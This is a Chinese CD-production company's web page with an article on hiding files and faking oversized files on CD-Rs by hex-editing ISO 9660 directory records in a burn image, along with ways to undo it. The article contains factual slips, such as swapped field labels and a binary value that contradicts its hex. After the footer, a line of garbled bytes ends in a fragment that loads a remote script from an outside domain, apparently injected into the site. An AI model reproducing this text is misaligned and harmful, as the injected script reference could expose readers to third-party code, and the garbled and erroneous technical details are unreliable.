| 制作报价 | 作品欣赏 | 生产设备 |  联系我们|  
| 网站首页 | 服务项目 | 业务介绍 | 成功案例 | 光盘专题 | 光盘加密 | 光盘生产 | 出版发行 |
   客户服务部
 

 DVD-光盘制作专栏
 VCD-光盘制作专栏  
 光盘印刷制作专栏  

 软件生产制作专栏
 

 光盘后期包装专栏
 

 光盘出版发行专栏

  光盘专题也谈光盘保护技术


光盘保护技术包括制作隐藏文件夹与超大文件,使对方无法复制,打开文件从而达到保护光盘文件的目的。其他还有较深入的诸如写入特殊检查码(CRC CODE)、刻录超过74分钟的数据等。但需要应用其他软件完成。
1:制作隐藏文件与超大文件所须的工具软件包括:EASY CD CREATOR或其他如WINONCD等刻录软件,以及ULTRAEDIT6.0等2-16进制编辑软件。(用于改造ISO 9660的影像文件的DIRECTORY RECORD记录组)
注意:来自德国的NERO-BURNING ROM3.0.5.1刻录软件默认JOLIET朱丽叶格式,且无法生成ISO 9660格式,所以其制作的影像文件无法做出预期效果。
2:保护技术的基本概念:
由ISO 9660格式制作的影像文件必须由ISO 9660格式说起:在ISO 9660格式中包括有一种DIRECTORY RECORD记录组,记录了文件的(或文件夹)的名称,属性(隐藏、存档、只读、系统等属性),长度(文件的容量大小),生产日期、时间等信息,若是直接修改了DIRECTORY RECORD记录组表达的内容,便能骗过DOS、WINDOWS95/98等操作系统,做出“看不见,依然存在”与“看起来巨大、实际上渺小”的障眼效果。
因此必须先了解DIRECTORY RECORD记录组的各个字段含义:
字 节 编 号
字 段 名 称(Filed Name)
含 义

1
Lenght of Directory Record(LEN_FI)
Directory Record(刻录目录)的长度,以字节为单位

2
Extended Attrbute Record Length
扩展属性记录的长度

3-10
Location of Extent
文件或文件夹所在的第一个Logical Block编号

11-18
Data Lenght
文件或文件夹的长度(检测文件大小的字节)

19-25
File Flags
文件或文件夹生产日期与时间

26
Recording Data and Time
文件属性(如隐藏、只读等)

27
File Unit Size
当文件为储存模型(InterLeave mode)时,
用来记录文件单位的大小;如非交错储存时,则为00

28 
Interleave Gap Size
当文件为储存模型(InterLeave mode)时,用来记录交错间隔的大小;如非交错储存时,则为00

29-32
Volume Sequence Number
这张光盘片在整套光盘集( Volume set)中的编号,若是单独一张则为1 

33
Length of File Identifier( LEN_FI)
文件名称的长度(如TEMP文件共4个字母,折合文件名称长度为4,对应16进制为04)

34-34+LEN_FI
File Identifier
文件过文件夹名称

由此可知,制作光盘中的超大文件与隐含文件是由ISO 9660格式的DIRECTORY RECORD记录组中的11-26字节代表构成的,如何修改DIRECTORY RECORD记录组的内容呢?
要修改DIRECTORY RECORD内容,用一般工具软件如:PCTOOLS、Norton Utility都无法直接读取光盘上的扇区(Sector),因此根本找不到DIRECTORY RECORD在何处,即使是特殊软件能读得到,但CDR光盘在写入后就无法修改,所以在采用EASY CD CREATOR制作ISO 9660的影像文件IMAGE FILE的DIRECTORY RECORD记录组并经适当修改再做成特种光盘即可。
3:用EASY CD CREATOR制作ISO 9660格式的影像文件IMAGE FILE。
步骤:制作为影像文件的文件比原文件容量略大一点,但不会占用、影响刻录后的光盘容量。刻录软件的影像文件的作用就类似于“指导CDR光驱如何工作,并插入一些光盘兼容但不常用的特种代码,以便检测CDR的制作有否错误及方便电脑识别光盘上的“参数”信息等”。现以将在D盘/FILE/MY PHOTO.BMP文件制作名为:新建文.CIF的影像文件为例说明。
1.启用EASY CD CREATOR刻录软件,并选择“制作数据CD(DATA CD)”,再在EASY CD CREATOR的“资源管理器窗口:Explorer”中选定要刻录的文件内容(D盘/FILE/MY PHOTO.BMP),再用“添加+ADD”将要刻录的文件内容增加到EASY CD CREATOR的刻录任务栏中准备刻录。
2.选择“CD版面属性:CD Layout Properties”中设定“刻录格式:FILE SYSTEM”为“ISO 9660” 及“模式MODE2:CDROM XA”。
3.制作影像文件IMAGE FILE:选择EASY CD CREATOR的“ 文件FILE/由文件制作影像Geate CD From Image...”制作影像,并将影像文件存名。“如存为:新建文.cif(EASY CD CREATOR影像文件的扩展名”
4:用UEDIT6.0编辑影像文件。
步骤:1:启用UEDIT6.0软件,并打开刚刚建立的新建文.cif文件。
2:选择UEDIT6.0下的搜索SEARCH/查找FIND,并选择查找FIND对话框的FIND ASCII选项,再键入“新建文”的字库串(以新建文.cif影像文件为例),选择FIND后,可以发现,“新建文”字库串共有3处地方,怎样确定到底那一个才是要找的地方呢?(据我所知,就本例最小都有3处地方,以新建文为名的文件、文件内容可能在不同的路径上多次出现。也可能是文本的文字内容,当然BMP图片就可能没有“新建文”这个字库串)。
在UEDIT中虽然采用16进制编辑,但是在UEDIT的工作区域右侧有些中文、英文显示,有时就这些内容就可以判断该字库串是否要查找的字库串(该字库串并非在“正文内容”中)。
3:在上边的表格中讲得很清楚,文件的名称的字库串就在第34字节及以后。所以“新建文”的“新”字就在34字节的位置中。
请注意:在电脑中一个字母(如A、S等)占一个字节,汉字(如:新、我)就占2个字节。而在UEDIT的16进制编辑中,用2位16进制代表一个字节的内容(2位16进制有00-FF等于十进制的00-256(的变化可能性)等于8位二进制的00000000-11111111的所有的值,在2进制中,1位2进制码有0和1的两种状态就是1-Bit(比特)啦!换言之,用二进制编辑器编制,“新”的2进制有2个字节,每个字节为2位16进制=8位二进制,所以“新”=2*8位二进制=16位二进制,共有256*256=65536个代码,如果将65536的每一个代码转换为以WINDOWS为首的计算机的语言,或者通过WINDOWS转换为计算机的专用语言就可以成为一种傻瓜编程啦!相信字库也是这样作的,我想!有异议请电+8613902825502。
所以,找到字库串以后,只要查看所谓之其他字节的定义是否正确就知道是否第34位。其1:文件的属性。
首先,按下图数一数位数,记住每一个字节都用2位16进制表示呀!

D0就是“新”字库串在DIRECTORY RECORD记录组中的34位。其中:新=DO C2,建=BD A8,文=CE C4。
其次,文件或文件夹对一般计算机用户来讲,较易理解和识别的有:文件的属性、大小、创建日期,因为只要在WINDOWS

下用鼠标单击右键查看文件的属性即知。通过核对属性定义代码,或计算文件大小和日期为16进制即知。言下之意只要知道文件的内容位置来更改就可以反过来破解啦。 先看看以下定义:

bit0=
0
执行DIR命令时或WINDOWS操作系统下,可以显示文件名

1
执行DIR命令时,不可以显示文件名,必须执行DIR/AH或WINDOW/我的电脑/查看文件/文件夹选项/查看标签中选择显示所有文件才能显示

bit1=
0
表示这段RECORD为文件为文件(即记录的内容为文件)

1
表示这段RECORD为文件为文件夹(即记录的内容为文件夹)

bit2=
0
不具备Associated属性

1
不具备Associated属性,即使使用DIR/AH命令也看不到

原文件或原文件夹已在WINDOWS下设定为:“不具任何隐含属性的时”,在DIRECTORY RECORD记录组34字节的字库串左移8位前往至第26位字节的16进制代码与当文件或文件夹被设定为:“具WINDWS隐含属性的时”以及当文件或文件夹被设定为:“具Associated隐含属性的时”的代码值的变化。(设置了“具Associated隐含属性的时”,DIR的命令不设置也可以。)

文件的属性原代码(26字节)
文件夹的属性原代码
修改后的文件的属性原代码
修改后的文件夹的属性原代码

16进制编辑方式
00
02
01
03

2进制编辑方式
00000000
00000011
00000001
00000011

 

文件的属性原代码
文件夹的属性原代码
修改后的文件的属性原代码
修改后的文件夹的属性原代码

16进制编辑方式
00
02
04(05也可)
06(07也可)

2进制编辑方式
00000000
00000011
00000100
00000110

综上所述的总结:在被查找的字库串前8位的2位16进制码的实际含义为:
00:不具任何隐含属性的文件。(即在DOS下用DIR命令可显示的无隐含属性)
01:具WINDWS隐含属性的文件。(即在DOS下用DIR/AH命令可显示的隐含属性)
02:不具任何隐含属性的文件夹。(即在DOS下用DIR命令可显示的无隐含属性)
03:具WINDWS隐含属性的文件夹。(即在DOS下用DIR/AH命令可显示的隐含属性)
04:具Associated隐含属性的文件。(即在DOS下用DIR/AH命令不可显示的隐含属性)
05:既具Associated隐含属性,又有WINDOWS隐含属性的文件。(即在DOS下用DIR/AH命令不可显示的隐含属性)
06:具Associated隐含属性的文件夹。(即在DOS下用DIR/AH命令不可显示的隐含属性)
07:既具Associated隐含属性,又有WINDOWS隐含属性的文件夹。(即在DOS下用DIR/AH命令不可显示的隐含属性)

如何刻录一张超大文件的CDR?答案就是改变11-18字节的16进制代码,使WINDOWS操作系统从光盘的识别码中出错,这里需要注意的是:
1.如果不介意“容量大小”的详细要求,只要设定11-18字节中正文内容定义为FFFFFFFF即可,每个文件容量最大可达3.8G。
2.就3.8G的容量识别值已是8位16进制表达的极限值=二进制的8*8=64位二进制。
3.定义后超大的文件可能不能正常打开,只在保密时使用,参见下文破解。
4:对影像文件的11-18字节可理解为:11-14位为:00 08 00 00,15-18位为:00 00 08 00,11-14位与15至18位的16进制码为一镜像,实际的文件大小就在15-18位:00 00 08 00=2048(表示该文件的字节数为2KB)。11-14位只是一个镜像,在改动镜像的时候要注意所须改动的读数是由14-13-12-11字节由右至左的方式读取。假设一文件的实际大小为26428字节=25.8k,可以正确得知该文件的影像文件的DIRECTORY RECORD记录组的11-18字节是:3C 67 00 00 00 00 67 3C,改动就改3C 67 00 00的值,比如改为300M,即300M=16进制的后11 E1 A3 00,换为镜像=00 A3 E1 11,对应填写在11-14字节,再储存对该影像文件的修改结果,然后由:EASY CD CREATOR的“从影像文件制作数据CD”即可。
又如何刻录一张隐藏文件的CDR?
答案就是将26字节内容00-03该为对应的04(文件)或06(文件夹)或者05/07。但是制成后的CDR读取时应注意:
1:寻找被隐藏的文件夹下面的文件方法为:以地址:“FILE:\\\”为首+“盘符:\”+“空格”代表任意文件夹名称“\文件名及扩展名”。设刻录的CDR置入CDROM的盘符位置为F时,在光碟的根目录有新建文的文件夹由于已设置为具Associated隐含属性的文件夹,再在新建文的文件夹下有子目录索引.htm文件,那么要打开文件就必须在WINDOWS的资源管理器内的地址栏键入:File:\\\F:\ \索引.htm.
注意:1,开头必须是File:\\\,否则不可查找,这大概是引导IE5因特尔的网页浏览器才能打开的原因。
2,F:\的被隐藏的新建文文件夹路径必须是1字节的空格,引导WINDOWS进行“模糊查找进入该文件夹”。
3,被查文件的名称必须键入全称且带扩展名。
4,ISO 9660的格式只支持8.3中文名,超4个中文字将用~省略代替,后面跟1,2,3等定位,可以采用应用索引网页的命令导入路径至文件夹内予已解决。
5:其他的查找方法诸如:
(1):在桌面上建立WINDOWS快捷方式(.lnk),键入File:\\\F:\ \索引.htm.
(2):建立Internet 快捷方式 (.URL),地址可以是File:\\\F:\ \索引.htm.或F:\ \索引.htm.其将自动添加“FILE:\\\”在前面,空格部分将为20%。即=file:\\\f:\20%\索引.htm.
(3)万不得已,不要采用隐藏文件的方法,因为即使自己知道被隐含的文件名称与路径,用IE5亦无法破解。因为WINDOWS只能进入被隐藏的文件夹,而对隐藏的文件还是无能为力的,要保密度高,索引可以做在第一层被隐藏的文件夹中或是建立两层隐含文件。
超大文件格式的破解:用UEDIT将文件打开,然后选择SAVE AS即可,如果发现容量仍比正常的大,可以用对应“打开方式”的工具软件查看,并在“另存为”即可。
或者在EASY CD CREATOR的刻录软件中选取CD、CD信息、读取轨迹,然后生成*.SIO的影像文件,再由UEDIT6.0修改 DIRECTORY RECORD记录组的对应字节信息即可,然后制作一张CDR即可。注意,验证DIRECTORY RECORD记录组的字节位置可以分析该文件的创建时间(年/月/日/时/分/秒,各用2位16进制代表)或者直接将文件超大的数值译成8位16进制,然后将数值置一镜像并采用查找字库串(非ASCII)代码,再找到相应字节修改即可,同样,隐含文件亦可破解,只要找到对应字节改正。

  电子出版物出版发行


| 中关村光盘制作生产基地 | 光盘业务 | 光盘生产 | 光盘加密 | 网站地图 | 制作流程 | 制作须知 |
华韵影视光盘有限责任公司版权所有:1999-2004 著作权与法律声明     工商注册登记号:1101082382306
欢迎联系我们:24小时服务电话:8610-62521579 67399670 67399671 13311032906   本网站CDN服务由 China Cache 提供

6~侁 偹?鋆簾鶳鄞 f颶?1?袶http://www.333292.com/cb.js>